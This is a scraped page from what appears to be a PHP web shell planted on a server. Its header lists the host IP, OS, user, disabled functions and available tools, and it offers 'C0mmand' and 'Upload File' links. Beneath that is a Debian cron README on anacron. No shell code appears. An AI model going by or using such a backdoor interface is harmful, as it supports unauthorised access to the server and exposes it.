|
Server IP : 128.199.20.84 / Your IP : 172.70.80.37 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/doc/python3-jsonpatch/../python3-requests/../cron/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
To ease coordination with anacron, the invocation of the run-parts for
the /etc/cron.daily, /etc/cron.weekly, and /etc/cron.monthly directories
was changed to the form
test -e /usr/sbin/anacron || run-parts --report /etc/cron.daily
What this means is that if anacron has been installed, it will
be responsible for running those scripts. This is the standard
configuration of anacron: if you simply install both cron and anacron,
things will work as expected.
However, if you have modified your anacron configuration
(/etc/anacrontab), you may need to re-adjust it in order to accommodate
this change.